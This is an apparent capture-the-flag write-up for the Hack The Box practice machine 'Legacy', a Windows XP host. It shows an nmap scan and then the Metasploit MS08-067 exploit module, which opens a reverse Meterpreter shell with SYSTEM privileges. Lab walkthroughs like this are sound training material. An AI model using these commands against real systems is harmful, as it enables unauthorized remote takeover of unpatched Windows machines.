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Legacy Writeup

Introduction :

Legacy is an easy Windows box released back in March 2017.

Part 1 : Initial Enumeration

As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.

  Ξ» root [/home/nihilist] β†’ nmap -sC -sV 10.10.10.4
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 22:10 CET
  Nmap scan report for 10.10.10.4
  Host is up (0.044s latency).
  Not shown: 997 filtered ports
  PORT     STATE  SERVICE       VERSION
  139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
  445/tcp  open   microsoft-ds  Windows XP microsoft-ds
  3389/tcp closed ms-wbt-server
  Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

  Host script results:
  |_clock-skew: mean: 5d00h59m39s, deviation: 1h24m50s, median: 4d23h59m39s
  |_nbstat: NetBIOS name: LEGACY, NetBIOS user: , NetBIOS MAC: 00:50:56:b9:25:bd (VMware)
  | smb-os-discovery:
  |   OS: Windows XP (Windows 2000 LAN Manager)
  |   OS CPE: cpe:/o:microsoft:windows_xp::-
  |   Computer name: legacy
  |   NetBIOS computer name: LEGACY\x00
  |   Workgroup: HTB\x00
  |_  System time: 2019-11-14T01:10:09+02:00
  | smb-security-mode:
  |   account_used: guest
  |   authentication_level: user
  |   challenge_response: supported
  |_  message_signing: disabled (dangerous, but default)
  |_smb2-time: Protocol negotiation failed (SMB2)

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 63.05 seconds

Here we can see that the port 139, 445, and 3389 are opened. We will take a closer look at the port*running the service*.

Part 2 : Getting Access

It is highly likely that the machine is vulnerable to MS08-067 RCE so we will test it with the according metasploit module.

  msf5 > search ms08

  Matching Modules
  ================

     #  Name                                                   Disclosure Date  Rank       Check  Description
     -  ----                                                   ---------------  ----       -----  -----------
     0  auxiliary/admin/ms/ms08_059_his2006                    2008-10-14       normal     No     Microsoft Host Integration Server 2006 Command Execution Vulnerability
     1  auxiliary/fileformat/multidrop                                          normal     No     Windows SMB Multi Dropper
     2  exploit/windows/browser/ms08_041_snapshotviewer        2008-07-07       excellent  No     Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download
     3  exploit/windows/browser/ms08_053_mediaencoder          2008-09-09       normal     No     Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow
     4  exploit/windows/browser/ms08_070_visual_studio_msmask  2008-08-13       normal     No     Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow
     5  exploit/windows/browser/ms08_078_xml_corruption        2008-12-07       normal     No     MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption
     6  exploit/windows/smb/ms08_067_netapi                    2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
     7  exploit/windows/smb/smb_relay                          2001-03-31       excellent  No     MS08-068 Microsoft Windows SMB Relay Code Execution


  msf5 > use exploit/windows/smb/ms08_067_netapi
  msf5 exploit(windows/smb/ms08_067_netapi) > show options

  Module options (exploit/windows/smb/ms08_067_netapi):

     Name     Current Setting  Required  Description
     ----     ---------------  --------  -----------
     RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
     RPORT    445              yes       The SMB service port (TCP)
     SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


  Exploit target:

     Id  Name
     --  ----
     0   Automatic Targeting

The module ms08_067_netapi requires us to set the above-mentionned options : RHOSTS and RPORT.

  msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
  RHOSTS => 10.10.10.4
  msf5 exploit(windows/smb/ms08_067_netapi) > run

  [*] Started reverse TCP handler on 10.10.14.48:4444
  [*] 10.10.10.4:445 - Automatically detecting the target...
  [*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
  [*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
  [*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
  [*] Sending stage (180291 bytes) to 10.10.10.4
  [*] Meterpreter session 2 opened (10.10.14.48:4444 -> 10.10.10.4:1032) at 2019-11-09 11:20:27 +0100

  meterpreter > pwd
  C:\WINDOWS\system32
  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM

the metasploit module was successful, it gave us a meterpreter shell with elevated privileges.

Part 3 : The Root Access

All we need to do now is simply grab the user and root flags.

  meterpreter > cd Documents\ and\ Settings
  meterpreter > cd john
  meterpreter > cd Desktop
  meterpreter > cat user.txt
  e6XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  meterpreter > cd ../../..

  meterpreter > cd Documents\ and\ Settings
  meterpreter > cd Administrator
  meterpreter > cd Desktop
  meterpreter > cat root.txt
  99XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Conclusion

Here we can see the progress graph :


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